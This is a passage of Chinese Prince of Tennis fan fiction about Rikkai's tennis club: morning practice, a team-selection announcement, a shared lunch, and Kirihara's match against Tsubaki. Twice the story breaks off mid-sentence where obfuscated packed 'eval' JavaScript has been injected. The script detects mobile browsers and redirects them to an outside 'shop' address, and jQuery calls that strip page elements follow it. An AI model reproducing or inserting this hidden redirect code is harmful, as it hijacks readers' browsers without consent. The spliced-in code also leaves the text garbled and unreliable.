这位刚入部两周的前高尔夫球部王牌动态视力和力量非常出色,尤其是因为长期高尔夫训练带来的上肢力量与动力链,让他才接触网球不到一个月,发球就已有了些重炮手的雏形,球质沉重。最重要的是,反射神经相当不错,同时头脑很清醒,即使在跑动上的劣势不小,但从模版上来讲也算是适合网前的选手。 幸村的目光又移向不远处正懒洋洋地挥拍、却将一切都尽收眼底的仁王雅治。银发的少年似乎察觉到了部长的视线,嘴角勾起一抹玩味的弧度。 毕竟是仁王雅治亲手为自己挑选的搭档,即使现在看来尚且不是一组匹配的搭档,但,确实有值得幸村期待的理由。 另一个训练场上,柳莲二的笔尖在笔记本上飞速移动,发出沙沙的轻响。 而他的目光,正紧紧锁定着那个无论从哪个角度看都格外突出的身影——切原赤也。 柳在心里默默叹息。笔记本上,属于切原赤也的那一页,数据呈现出极端而矛盾的两面:野兽般的直觉反射、超越同龄人的出色爆发力与柔韧性,与粗糙得令人皱眉的基本功、极易不受控的情绪。 更棘手的是,切原开学之初那番“立海大除了正选都是废物”的张扬言论,以及他挑战正选失败后种种表现,让他在部内的人际关系相当微妙。 即使幸村在晨会上已经公开宣布了自己将切原赤也纳入网球部的决定,并当众宣布了对切原的处罚,但柳能明显察觉到,大多数部员对切原的态度是复杂而疏离的。 部员们服从并接受了切原的存在,是因为他们绝对信任并尊重幸村的决定,而不是因为他们认可了切原赤也这个人,更不是遗忘了他那套傲慢的论调。 而能重新赢得同伴认可的人,只有切原自己。这一点,即便是幸村也无法代劳。 但或许更让人头疼的是,切原赤也本人,似乎并未感知到这份笼罩在他周围的、若有若无的隔阂与审视。他依然沉浸在自己的世界里。 柳莲二叹了口气。 就在这时—— “啧!又来了!” 切原懊恼的喊声打破了这片场地上相对平稳的晨练节奏。他全力冲刺后打出一记大角度抽击,却因跑动过猛、姿势扭曲,球拍面未能控制好,网球直接化作一道偏离轨道的流星,高高飞向场外的铁丝网,发出哐当的巨响。 真田的目光如探照灯般瞬间锁定了他,帽檐下的眉头蹙起。 柳的笔尖一顿,笔尖把笔记本戳出了一个小洞。 幸村的视线也平静地投了过去。 但他没有立刻走过去,而是先对附近正在进行多球接发高压训练的丸井和桑原开口,声音不高,却清晰传入两人耳中:“丸井,上网封堵的时机不能犹豫,预判要更提前。桑原,保护直线空当时,重心可以压得更低,启动会更快。” “是,部长!”两人立刻应道,随机更加专注地投入训练。 完成这随手的点拨,幸村才迈步走向新生的球场,步履从容,却带着无形的气场,所过之处,正在练习的部员们都不自觉地更加挺直了腰背。他走到切原身边,海藻头少年感受到部长的靠近,身体不由自主地绷紧了一下,握拍的手更用力了。 “握拍太紧了。”幸村的声音在切原身旁响起。 他伸出手,指尖带着运动后微凉的触感,轻易地却不容抗拒地调整了切原那因过度用力而指节发白的手指位置,“虎口放松,食指轻扣。挥拍不是靠蛮力,要找到手腕带动、如同挥鞭的感觉。” 切原能感觉到周围投来的视线,他甚至发誓,自己听到了不远处一年级新生群里传来了几声极轻微、却令人牙酸的磨牙声,以及压抑的嘀咕:“凭什么……” “发力源于这里,核心和腿部。”幸村的另一只手轻轻点了点切原的腰侧和大腿,“蹬地,转体,送肩,力量链条要顺畅。而不是靠手臂硬抡,更不是靠扭曲身体去够球。刚才那球的姿势,不仅难看,而且低效,容易受伤。” 说完,他随手拿起切原的球拍,甚至没有用标准的抛球动作,只是侧身,手腕看似随意地一抖,黄色小球如同被赋予了生命,带着尖锐短促的呼啸和剧烈的侧旋,划出一道诡异而优美的弧线,精准地砸在对面发球区最外侧边角与中线的交界点上,落地后没有高弹,反而贴着地面急速横窜出去,在硬地上留下一道清晰的摩擦印记。 整个球场似乎都安静了一瞬。许多部员,甚至一些正在练习的三年级生和正选,都忍不住停下动作看了过来,眼中是掩不住的惊叹与敬畏。这一球的球速或许不是最快,但那份举重若轻的姿态、精确到厘米的落点控制,无不彰显着掌控者深不可测的实力与精妙绝伦的手感。 “太厉害了……大概只有幸村部长才能这么轻松地打出这样的球吧。” “完全看不清旋转……” “切原那家伙……运气真好。” 窃窃私语声低低响起,羡慕、惊叹、以及一丝难以言说的复杂情绪,在空气中弥漫。 幸村仿佛没有听到这些议论,将球拍递回给有些发愣的切原,目光平静:“自己多尝试一下这种感觉,把发力顺序和身体姿态纠正过来。挥拍一千次,分解动作,慢速完成。” “……是。”切原接过球拍,低下头,耳根有些发红。 幸村转身走回自己的场地,对那两名刚刚缓过气、正在喝水的二年级部员点了点头:“你们可以开始下一项了,小林,高桥,过来吧。” 晨练结束的哨音响起时,朝阳已经完全跃出海平面,金色的光芒洒满球场,蒸腾起淡淡的水汽。 丸井文太几乎是一头栽倒在长椅上的,胸口起伏:“呼……哈……晨练就和部长对打……这根本不是什么指导赛,是地狱特训啊……” 胡狼桑原比他稍好一些,但也是大汗淋漓,正认真地拧着毛巾,声音瓮瓮的:“所以,他才是部长。” 切原赤也垂头丧气地站在原地,手指无意识地捻着拍线,目光盯着自己的鞋尖。 果然,真田低沉而极具穿透力的声音如铁锤般敲响,压过了逐渐升起的嘈杂: “切原赤也。” 切原一个激灵,猛地抬头。 “挥拍姿势严重变形,练习时注意力涣散,击球出界干扰他场。”真田的每个字都像冰冷的石块,砸在地上,“训练结束后,绕场十圈。现在开始。” 周围传来细微的骚动和隐约的吸气声。十圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013149|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于刚刚结束高强度晨练的人来说,绝不轻松,何况要赶在上课前完成。切原的眼睛开始不受控制地泛红,呼吸变得粗重,拳头在身侧握紧,指节泛白。 “但是——我……”切原不服气地想争辩。 “没有但是。”真田毫不留情地打断,帽檐下的目光锐利如刀,不容任何辩解。 最后一句,让切原所有的话都堵在了喉咙里。他狠狠咬了咬牙,胸膛剧烈起伏了几下,最终,从牙缝里挤出一个字:“……是。” 就在这时,幸村的声音平静响起,清晰地传遍全场:“那么,晨练到此结束。需要加训的也暂时留到下午吧,真田。” 真田微微颔首,在网球部的事物上他向来尊重幸村的决定。 幸村顿了顿,目光扫过每一张或疲惫、或兴奋、或紧张的面孔。晨光落在他身上,紫色的发丝微扬,明明刚刚结束激烈的练习,他的姿态却依然挺拔从容。 “现在宣布——”幸村的声音不高,却让整个球场瞬间鸦雀无声,“今天下午开始进行本年度县大会的正选选拔赛。” 空气仿佛凝固了一瞬,随即“轰”地一声,爆发出更大的骚动和议论。 “这周就开始?!” “这么快?!我一点准备都没有!” “赛制是什么?还是单败淘汰吗?” “完了完了……” …… 幸村抬起手,只是一个简单的动作,球场便以惊人的速度重新安静下来,所有目光都聚焦在他身上。 “选拔赛采用积分循环制,具体赛程、分组和积分规则,午休时会在部活室外的公告栏详细公布。”他的目光缓缓扫过众人,尤其在几位非正选的三年级生和几名表现出色的低年级生身上略有停留,“立海大的正选位置,永远属于当下最强的八人。无论年级,无论资历,只要你有实力,就有资格穿上代表正选的队服。” 他的视线掠过切原,掠过嘴角噙着莫测笑意的仁王和表情沉静的柳生,掠过刚刚结束对练的丸井和桑原,也掠过所有眼中骤然燃起火焰或变得凝重的少年。 “另外,”幸村补充道,语气平静,却带着千钧般的重量,“本次选拔,将额外考察双打配合能力。除单打积分外,我们鼓励部员自行组队,参与双打专项评估。最终,将根据评估结果,额外选出一对固定双打组合,作为正选替补,随队参加县大会及后续赛事。” 这无疑是一枚重磅炸弹。原本就暗流涌动的气氛,瞬间变得更加微妙和炽热。自行组队?正选替补?这意味着,冲击正选席位的道路,多了一条!尤其是对于那些单打实力或许并非顶尖,但拥有默契搭档的部员来说,这简直是天赐良机。 真田上前一步,与幸村并肩,声音沉如铁石,压下了所有蠢蠢欲动的议论:“选拔赛期间,日常训练照常进行,标准不会降低。任何借口逃避训练、或在训练中懈怠者,经核实,直接失去参赛资格。” “现在,解散!” 队伍迅速而有序地散开,但低沉的议论声却如同潮水般蔓延开来,每个人脸上都写满了不同的情绪。 “下午就开始,柳前辈设计的积分制听说超级复杂……” “双打!要和谁组队?我擅长底线,得找个网前的……” “正选替补……机会啊!” …… 柳莲二合上笔记本,转身径直走向部活室。他需要最后核对一遍选拔赛的积分算法、赛程安排。 “今天观察的如何?”幸村问,“我看你今天一直在盯着切原。” 柳没有回答,“你很看好切原?” “算不算很看好,”幸村老实回答,“但是一年级里他确实是最突出的。” 柳欲言又止。他想问的很多:那桀骜难驯的性子,那粗糙得需要从头打磨的基本功,那如同不定时炸弹般极易崩盘的情绪,在竞争白热化、不容有失的卫冕之年,投入过多的关注和资源在这个高度不稳定的因素上,是否真是最优解?或许幸村看中的,正是那份未被驯服、甚至可能伤己的野性,以及野性之下,可能隐藏的、足以在未来撕碎一切的惊人锋芒。 只是,打磨利刃的过程,往往也伴随着被割伤的风险,以及……耗费在其他刀刃上的时间。 看到柳纠结的神色,幸村就知道他思维已经思考到不知道哪里去了,他摇摇头,“你想的太远了,我只是觉得他天赋不错,但这份天赋能不能转化成实力,说到底还是得看他自己。与其说这个,莲二——” 柳莲二疑惑:“怎么了?” 幸村的目光缓缓扫过此刻已经变得有些空旷的球场。晨练结束,大部分部员正三三两两地离开,或走向社办楼,或直接前往教学楼准备第一节课。真田正严厉地盯着最后几个收拾器材的值日生,确保一切井井有条。 他的视线似乎在不经意间,掠过了某个特定的、本应有人的位置,然后才重新落回柳莲二没什么表情的脸上。 “说起来,”幸村的声音依旧平淡,听不出什么特别的情绪,就像在询问一件寻常小事,“毛利前辈呢?今天晨训,好像没看到他?” 柳莲二几不可察地皱眉。尽管他早已将情绪控制修炼到近乎完美的地步,但一丝极淡的不满,还是掠过他向来平稳的心绪。 他沉默了一秒,似乎在斟酌措辞,但最终,数据者的诚实和对纪律的恪守占了上风。 “毛利前辈,晨训缺席。”他顿了顿,补充道,声音压低了些,“这个月总共三次晨训,他只来了一次。理由……依旧没有提前报备。” 他没有多说一个字的评价,但那份对前辈如此散漫态度的不赞同,已然弥漫在字里行间。在柳看来,无论实力多么超群,身为三年级正选,尤其是去年全国大赛的功臣,如此频繁且无正当理由地缺席晨训,不仅是对自身责任的懈怠,更是对团队纪律的一种无声破坏。 立海大的铁律,理应适用于每一个人,哪怕是天才。 幸村听着柳的汇报,脸上并没有露出惊讶或愤怒的神色。他只是微微侧过头,目光再次投向远处,那个本应属于毛利寿三郎的训练位置,此刻空无一人。 他修长的手指无意识地在身侧的拍线上轻轻拨动了一下。 “好,我知道了。” 看着柳欲言又止的表情,幸村安抚地笑笑。 “这件事情交给我吧,莲二。” 4. 县大赛选拔(一) 午休时分的立海大网球部,空气里浮动着一种不同寻常的紧绷。 公告栏前里三层外三层围满了人,却安静得只听见纸张翻动和刻意压低的呼吸声。 新一期的正选选拔赛规则公布了。 切原赤也踮着脚,在攒动的人头中寻找B组的名单。当他发现“真田弦一郎”、“椿宗一郎”和他自己的名字并列出现时,绿色的眼睛一下子亮了,原本耷拉的海藻头一瞬间就斗志昂扬了起来。 “和副部长一组!”他兴奋地攥紧拳头,转身挤出人群,满脑子都是击溃对方的念头。 他没有注意到是,在他离开时,周围的声音低了一瞬,空间也悄然松动了些。两位低声讨论的一年级自然地移开了视线,继续交谈。一位二年级前辈与他目光相接,随即平静地转开,像对待一个不太熟悉的陌生人。 立海大没有庸才,也杜绝低级的霸凌,这里崇尚实力,纪律严明,没人会故意给切原难堪。 但隔阂确实切切实实存在的——他开学时那番不知天高地厚的狂言,挑战正选失败后的狼狈,以及之后被幸村部长特别关照留下的争议,都化作了这堵墙的砖石。 人们服从部长的决定,留他在部里,但并不代表已然接纳他本人。 但此刻,完全被战斗欲点燃的切原赤也,根本感觉不到它的存在。他脚步轻快,一脸跃跃欲试,冲向了教室的方向。 …… 远离公告栏的喧嚣,教学楼后方,立海大美化委员幸村精心照料的温室旁,绿荫下的氛围格外安静。 这是网球部的三巨头专属的午餐地点。 柳莲二打开自己的双层便当盒,饭菜色彩搭配得如同营养学教科书:烤三文鱼、菠菜拌芝麻、小番茄、杂粮饭。 旁边的真田弦一郎的便当则是扎实的日式风格,炸猪排、筑前煮、厚蛋烧、米饭上还点缀着鲑鱼子和海苔丝。 而幸村精市面前的午餐,内容则有些……特别。 白米饭,水煮鸡胸肉,水煮虾仁,水煮西兰花和胡萝卜,外加几颗小番茄。 食材都是好的,搭配也算健康,但整体透着一股“努力了但厨艺有限”的朴素感,尤其是和旁边两位出自母亲之手的精致便当相比。 真田看了眼幸村便当盒里的水煮套餐,眉头跳了一下,但很快又恢复平静。 “叔叔又出差了?”他一边说着,一边已经用干净筷子从自己饭盒里夹起最大、炸得最金黄酥脆的一块猪排,不容分说地稳稳放在幸村那盘色调单一的米饭上,“还好今天妈妈特意多准备了些。” 幸村看着那块突然降临、泛着诱人油光的猪排,有些无奈地笑了笑:“弦一郎,我的营养绝对是够的。” 便当分量确实不少,三大块鸡胸肉、整整齐齐十只虾仁,蔬菜堆得像座小山。 平时幸村爸爸在家时,幸村的便当会是精心调味的烤鱼、色彩缤纷的蔬菜炒饭,或是鲜美的汤豆腐。偶尔家里唯一的大厨出差了,幸村的午饭就是来自妈妈的水煮一切套餐。但或许是从小习惯了这样的料理,幸村对水煮套餐接受程度良好。 柳探头看向幸村面前的料理,也有点无奈了。 水煮菜就算了,连点料汁都没有。营养应该是营养,就是滋味肯定寡淡。 “根据你近期训练消耗与基础代谢数据,需要更多优质脂肪和额外蛋白质摄入。”柳莲二动作流畅自然地将自己便当里两块烤得恰到好处、油脂丰润的三文鱼拨到幸村碗中,“鱼类蛋白更易吸收。” 幸村看着碗里迅速堆积起来的援助物资,无奈:“其实水煮菜也挺好的,至少安全。” 他用筷子戳了戳自己便当盒里那几块纹理清晰、除了盐和胡椒外别无他物的鸡胸肉,“上周我妈妈尝试做和风普罗旺斯炖菜,结果把茄子、西红柿和……我记得还有柚子皮?一起炖了三个小时。最后成品颜色很抽象,味道更是难以描述。” 真田正准备夹菜的筷子在空中顿了顿,一段遥远的、几乎被尘封的记忆忽然被唤醒。 国小某次户外露营,幸村妈妈自告奋勇负责大家的晚餐,煮了一锅据说融合了野外生存智慧与东西方灵感的杂烩汤…… 真田至今记得那诡异的墨绿色和入口后五味杂陈、难以定位的冲击。当时年幼的弦一郎秉持礼仪硬是喝完了自己那份,然后晚上望着星空思考了很久关于食物的定义。从那以后,他对幸村伯母的厨艺便抱有了一种堪称虔诚的敬畏。 “……嗯。”真田最终只是沉声应了一下,默默将筑前煮里炖得入味的鸡肉和魔芋又多夹了一些到幸村碗里,动作比之前更坚决了几分。有些回忆,不必再提。 没经历过露营炖菜事件的柳莲二还妄图拯救自家部长的饮食。 “或许可以尝试一些标准化菜谱,我下次帮阿姨找几本新手用的厨房书籍,这类书籍通常步骤详细,容错率高,能有效降低……” “柳,”幸村打断了他,“你可能不知道,现在这个已经是妈妈努力了很多年的结果了。” 真田在一旁,声音低沉地补充了一句:“幼稚园的时候,伯母第一次尝试烤饼干,忘了看时间,差点引发小型火灾。幸村家的厨房…重修过。” 柳莲二夹着三文鱼的筷子在空中停顿了几秒。即便是冷静如他,也被这个过于具体且震撼的进步过程冲击了一下。 “……那么,”柳迅速调整策略,将目光投向幸村本人,“精市,你或许可以自己尝试一下?你的家政课成绩一直是优。理论和实践基础应该足够支撑你进行更丰富、安全的烹饪。” 空气忽然安静了一瞬。 幸村动作优雅地夹起一颗小番茄,目光微妙地飘向了头顶摇曳的树叶缝隙,仿佛在研究光合作用。 真田则微微压低了帽檐,视线专注地落在自己便当盒里一颗圆润的鲑鱼子上,仿佛那颗鲑鱼子忽然具备了非凡的美感。 幸村轻轻咳嗽了一声,将小番茄送入口中,细嚼慢咽后,才重新抬眼,巧妙地避开了柳探究的视线:“莲二,弦一郎,谢谢你们这么关心我的午餐。不过,像现在这样能分享到伯母们准备的美味,我觉得已经很好了。” 他顿了顿,目光扫过碗里堆积的馈赠,语气真诚,“而且,水煮的方式能更好地保留食材本味,对身体负担也小,我觉得挺好的。” 真田从鼻子里发出一声几不可闻的轻哼,不知是赞同还是无奈,但没再就烹饪问题发表意见,只是又夹了一筷子菠菜放到幸村碗边:“多吃蔬菜。” 柳看了看目光游移的幸村,又看了看明显在掩饰什么的真田,理智告诉他,这里隐藏了某些他非常感兴趣的数据,但他决定暂时不再深究。 “说起来,精市,切原在真田的B组,出线概率低于15%。”柳顺水推舟的转移话题,“不需要调整一下吗?” “B组有椿,还有几个扎实的三年级。切原连进前三都很难。”真田补充。 幸村细嚼慢咽,咽下食物才开口:“柳,我关注他,是因为他确实是这届新生里最有可能性的,但出线与否,只能看他自己。” “并且,”幸村歪头,目光微转,调侃地看向真田,“不过,你不觉得他和真田,在某些方面很像吗?” 真田动作一僵,差点被米饭呛到:“……什么?” “一根筋,不懂迂回,对自己定义的强大异常坚持。”幸村慢条斯理地用筷子尖点了点自己的碗边,“而且,情绪都挺直白的,写在脸上。” 真田脸色发黑:“太松懈了!我与他完全不同!” 柳却若有所思,迅速调用脑内数据:“这么说起来确有相似性。”虽然表现形式、控制能力与成熟度有着显著差异。 “所以,放一组,也算培养感情。”幸村微笑,那笑容在绿荫下显得格外清浅,“说不定真田和小切原会很有共同话题呢。” 真田从鼻子里哼了一声,不再辩驳,但脸上明晃晃地写着“绝无可能”四个大字。 …… 就在这时,一阵由远及近的追逐打闹声伴随着丸井文太气急败坏的喊叫打破了原本的宁静。 “仁王雅治!你完了!把本天才限量版泡泡糖还来!那是我排了十分钟队才抢到的!” “puri~想要?追上我就给你呀~” 只见一头银发在阳光下格外耀眼的仁王雅治,像只狡黠的狐狸轻巧地掠过灌木丛,手里晃着一盒紫色的泡泡糖。紧随其后的丸井文太,红发几乎要竖起来,奋力追赶,手里还抓着半个没吃完的奶油面包。 两人追逐打闹,压根没看路,直直冲进了三巨头的午餐领地。 “哇啊——!”丸井刹车不及,眼看要撞到柳的便当盒。柳莲二眼皮都没抬,手腕微动,便当盒已平稳地移至安全位置。 仁王则是一个流畅的滑步加转身,恰好停在幸村面前,扬了扬手里的战利品,才仿佛刚发现眼前的阵仗,银色的眸子眨了眨,拖长了语调:“哎呀呀,部长、副部长、军师?真是巧遇啊哈哈哈哈。” 丸井也猛地刹住,喘着气,先是一愣,目光迅速扫过三人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013150|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的食物,脸上立刻堆起灿烂又带着点讨好的笑容:“部、部长好!我绝对不是故意打扰你们用餐的!都是仁王这家伙太狡猾了!” 真田的眉头已经皱得能夹死苍蝇。作为风纪委员,他对仁王那头怎么看都不可能符合校规自然发色定义的银发,早已积压了诸多不满。他严肃的目光如刀般刮过仁王:“仁王!你的头发!校规明令禁止染发!太松懈了!” 这几乎成了每次见面的固定流程。真田尝试过交涉,但每次都被仁王用那套真假难辨的说辞糊弄过去。 最让真田憋闷的是,不知仁王用了什么方法,竟然让那位一向以严谨著称的教导主任相信,这头银发是罕见的隔代遗传,甚至还在真田面前感慨过自然造化真是神奇。 而有了教导主任的默许,真田即便再看不顺眼,也只能每次见面时例行公事地训斥一句,却无法采取任何实质措施。 仁王立刻站直,脸上瞬间换上一种极度无辜、甚至带着点委屈的表情,他摸了摸自己柔亮顺滑的银发,语气真诚得近乎浮夸:“副部长,这真是天生的!我家祖上有遥远的北欧血统,这是隔代遗传的显性特征!你看这光泽,这质感,染发剂哪做得出这种效果?连教导主任都亲自确认过,说这是罕见的自然发色,体现了生命的多样性呢!puri~” 他眨眨眼,熟练地搬出官方认证。 丸井在旁边小声吐槽:“信你才有鬼……教导主任肯定是被你用什么方法忽悠了……” 幸村轻轻放下筷子,看着眼前这场突如其来的小小闹剧,“好了,既然来了,就坐下吧。丸井,你的泡泡糖。” 仁王耸耸肩,手腕一翻,动作轻巧得像变魔术,那盒紫色的泡泡糖便准确地放回丸井手中。 丸井松了口气,也不客气,拉着仁王在旁边的空草地坐下。他打开自己的午餐袋,里面除了剩下的奶油面包,还有一盒炸虾可乐饼。 看到幸村的便当盒里寡淡的菜色,又瞥见几块明显属于其他两个便当盒里的食物,丸井立刻热情地拿起一个可乐饼递过去:“部长!你尝尝这个!我自己做的炸虾可乐饼,外酥里嫩,虾肉超弹!比你那个……呃,比光吃菜有味道多啦!” 仁王也笑眯眯地递过一根巧克力味pocky:“饭后甜点,部长。虽然看起来没文太的可乐饼有诚意,不过胜在方便,噗哩~” 幸村看着再次增多的投喂,有些失笑,摇了摇头:“谢谢你们。不过我真的……” “幸村,偶尔摄入不同的食物种类,对身体也有好处。”柳莲二平静地插话,同时又将一小把杏仁放在幸村手边。 真田也板着脸,声音低沉却不容置疑:“不要辜负部员的心意……好好吃饭。” 面对四人无形的压力,幸村只得在心底轻叹,接过了可乐饼和pocky,道了声谢。 午餐的气氛因为丸井和仁王的加入,变得轻松活跃了许多。 丸井一边啃着蛋糕,一边迫不及待地聊起选拔赛和A组的对手,眼睛闪闪发亮地描述他构思中的妙技。仁王则散漫地晃着pocky,目光却时不时瞥向柳莲二和他手边那个从不离身的笔记本,似乎对数据网球抱有隐秘的兴趣。 真田虽然对仁王那头天生银发和玩世不恭的态度依旧看不顺眼,但见幸村没有追究,柳也默许了这种轻松氛围,便只是偶尔严厉地瞪仁王一眼,不再多言。仁王则每每回以更加无辜又狡黠的笑容,让真田的脸色更黑一分。 说说笑笑间,午餐接近尾声。幸村用随身携带的素色手帕擦了擦嘴角,抬眸,声音温和却清晰地传到每个人耳中: “选拔赛要全力以赴,”他顿了顿,目光在丸井充满干劲的脸和仁王看似散漫实则专注的眉眼间掠过,语气里带着他特有的、能轻易点燃人心底斗志的信任与期待,“今年的正选阵容,我很期待看到你们的名字。” 丸井的眼睛瞬间像是被点亮的星星,用力点头,握紧了拳头:“是!部长!你放心!本天才一定会打进正选!绝对不会让你失望!” 仁王脸上那惯常的散漫笑容也收敛了些,银色的眸子里闪过一丝锐利如刀锋的光,他轻轻舔了下嘴角,勾起一个更真实的、带着挑战意味的弧度:“puri~既然部长都这么说了,那不拿出点真本事可不行啊。” 阳光透过摇曳的叶隙,在少年们身上洒下明明灭灭的光斑。温室里飘来的淡淡花香与食物的余味交织在一起。 而在不远处的教学楼阴影里,切原赤也三口两口吞下了凉掉的炒面面包,胡乱擦了擦嘴,大步走向教室。 5. 县大赛选拔(二) 切原赤也站在第三球场的场边,心不在焉地拉伸着手腕脚踝,等待着属于自己的第一场选拔赛。 但他的目光像是被磁石吸住,紧紧黏在隔壁刚刚结束比赛、正在收拾球拍袋的真田弦一郎身上。看着真田利落沉稳的动作,切原喉结不自觉地滚动了一下,胸腔里那簇火焰烧得更旺、更烫。 他比任何人都清楚自己和副部长之间那道深不见底的鸿沟。刻骨铭心的惨败,是挥之不去的耻辱烙印,却也成了最狂暴的驱动力。切原渴望变强,渴望想要再次站到那个人对面,然后用尽全力击溃他。 与副部长同处B组,就是他证明自己正在靠近那个目标的第一步。 想到这里,他浑身的血液都似乎要沸腾起来。 “切原赤也,椿宗一郎,请入场。”担任裁判的二年级部员扬声喊道。 切原猛地回过神,深吸一口气,握紧手中的球拍,大步流星踏入球场白线之内。 他的对手椿宗一郎已经安静地等在对面网前。 这位三年级正选前辈神色平和,气质沉稳,是部里公认的老好人。 切原听说过椿的名号,但并未真正放在心上。在他一根筋的思维里,既然终极目标是击败像真田副部长那样的怪物,那么这些普通的正选前辈——连副部长位置都坐不上的三年级,理应是必须跨越、也能够跨越的阶梯。 他甚至因为终于可以开始实战验证自己的进步而隐隐兴奋,看向椿的眼神里,除了灼热的战意,还掺杂着一丝连他自己都未曾察觉的、源于过度聚焦遥远目标而产生的轻慢。 椿宗一郎面对一年级后辈眼中那点几乎不加掩饰的跃跃欲试和轻忽,也并不在意,只是依照礼节,平静地对切原点了点头,脸上没什么波澜。 比赛开始,由椿发球。 没有任何花哨的铺垫,椿宗一郎抛球、引拍、挥臂,动作流畅得如同呼吸。 黄绿色的网球瞬间化作一道撕裂空气的锐利流光,几乎是紧贴着球网顶端疾射而过,精准无比地砸在切原发球区外角边线上,落地后发出一声清脆炸响,随即以更快的速度猛然弹起,向着场外窜去! 好快! 切原心中警铃大作,身体先于意识猛地向右扑去。 他的启动仓促,脚步甚至有些踉跄,全靠一股狠劲和出色的反应,拼命伸长手臂,球拍边缘险之又险地擦到了来球。 “啪!” 切原的回击又高又飘,是一个完完全全、毫无威胁的出界球。 “15-0,椿领先。” 切原勉强稳住有些失衡的身体,抬手抹了一把额角瞬间渗出的细汗,舌尖舔过发干的嘴唇,绿色的眼眸里凶光更盛。 只是发球快而已?他能跟上!他必须跟上! 然而,接下来的比赛进程,椿以一种近乎残酷的效率,迅速将切原那点不服输的念头击得粉碎。 椿宗一郎的网球,远不止是发球快。他的每一记回击,无论是正手还是反手位,都球速迅猛,落点刁钻,如同经过精密计算的导弹,一次次精准地压向底线最深处的角落,或是紧贴着边线飞窜。 切原的动态视力和瞬间反应能力确实卓越,他往往能在球离拍的刹那判断出大致的轨迹和落点。 但是,判断出来了,身体却跟不上又能怎么办呢? “太快了!”这个念头一次次撞击着他的神经。 切原依赖街头网球本能的脚步移动,在这样持续、高速、精准的压迫下,彻底暴露了短板。他总在奋力奔跑中丢失最佳的击球位置,被迫在身体扭曲、重心不稳的别扭姿态下勉强挥拍。为了够到那些又快又深的球,他不得不做出大幅度的探身、狼狈的踉跄跨步,击球的框架和姿势完全变形,显得笨拙又难看。 场边,柳莲二静静地观察着。为了更全面地搜集数据,他的比赛被集中安排在选拔赛后期,因此得以从一开始就以旁观者的身份审视这场对决。 “跑动完全跟不上。明明能判断出落点,但启动和移动速度有决定性的差距。” 早早获胜、同样来到场边观战的幸村精市闻言,微微颔首,紫罗兰色的眼眸映出场中少年又一次狼狈救球的身影。 “动作太难看了。”他轻声评价,“不过,他的身体应该快要适应这种速度了。” 仿佛是印证幸村所说,几球之后,切原赤也终于在一次拼尽全力的狂奔后,险险赶到了一个落点,用仍然有些变形的动作将球回了过去,勉强拿下了他本场比赛的第一分。他撑着膝盖急促喘息,额发被汗水浸湿黏在额角,但那双绿色的眼睛里却亮起一点微弱却执拗的光芒。 “你来了,真田。”幸村并未回头,却对走到身旁的熟悉气息打了招呼。 真田弦一郎“嗯”了一声,拧开瓶盖喝了一小口水,目光沉沉地投向场内:“情况如何?” 柳莲二简洁地回答:“椿全面压制。切原仅靠本能和动态视力勉强支撑,技术层面差距悬殊。” 看着场中那个因为终于追上球速而似乎松了一口气、甚至隐隐有些庆幸的海藻头少年,三人的反应一致地微微摇头。 太天真了。 椿宗一郎能坐稳立海大正选的位置,靠的从来不只是单一的速度。能追上基础球速,仅仅意味着考验才刚刚开始。 果然,下一球开始,椿宗一郎的击球在原有的高速的基础上,悄然叠加了精妙的旋转。球的轨迹变得愈发难以捉摸,落地后的弹跳更加诡异。切原刚刚建立起的一点点速度适应感瞬间被打破,他又一次陷入了疲于奔命、却总是差之毫厘的困境。 场边渐渐聚集了一些完成比赛或等待上场的部员,低低的议论声开始蔓延。 “椿前辈还是这么稳,一点破绽都没有。” “完全被压制了,根本找不到反击的机会。” “这就是正选和非正选之间的差距啊,实实在在的。” 这些评论还算客观中立。但也有些声音,压得更低,带着明显的不满: “喂,那小子刚刚是什么眼神?真让人火大。”一名三年级部员皱着眉头,对同伴低语,“他刚才看椿的样子……根本是没把前辈放在眼里吧?” “阿隆。”身侧的同伴不赞同地看着他。 名叫阿隆的国三生对切原本并无深仇大恨,但他看不惯切原对椿的轻慢态度。椿宗一郎在网球部是出了名的好人缘,虽然实力并非顶尖,但性格温和,从不藏私,经常耐心指点后辈,许多一、二年级甚至是同为三年级的普通部员都受过他的帮助,对他十分敬重。 在阿隆看来,切原这种不知天高地厚、对备受尊敬的前辈缺乏基本敬重的态度,本身就不可原谅。 “就是,开学时跑来踢馆也是那副目中无人的样子……现在对上正选就这水平?”站在阿隆另一侧的同伴附和道,语气同样不快。 椿宗一郎似乎隐约听到了这些议论,他皱了皱眉,但看向切原的眼神依旧平静专注,手上的击球没有丝毫放松或戏耍,依旧稳定、迅捷、充满压迫力。 用网球本身来说话,才是对对手最大的尊重,也是他身为前辈和正选的骄傲与回应。 场上的切原,脸颊因持续的奔跑、不断的挫败和隐约飘入耳中的议论而涨得通红。比分在无情地向着对他不利的方向滑动,他引以为傲的速度和力量,在椿稳定击球面前,仿佛泥牛入海,掀不起半点波澜。 羞愤、焦躁、还有强烈的不甘,像野火一样灼烧着他的理智。当椿又一次打出一记角度刁钻、直轰他反手位底线死角的强力抽击时,切原的眼睛彻底红了。 “休想——!” 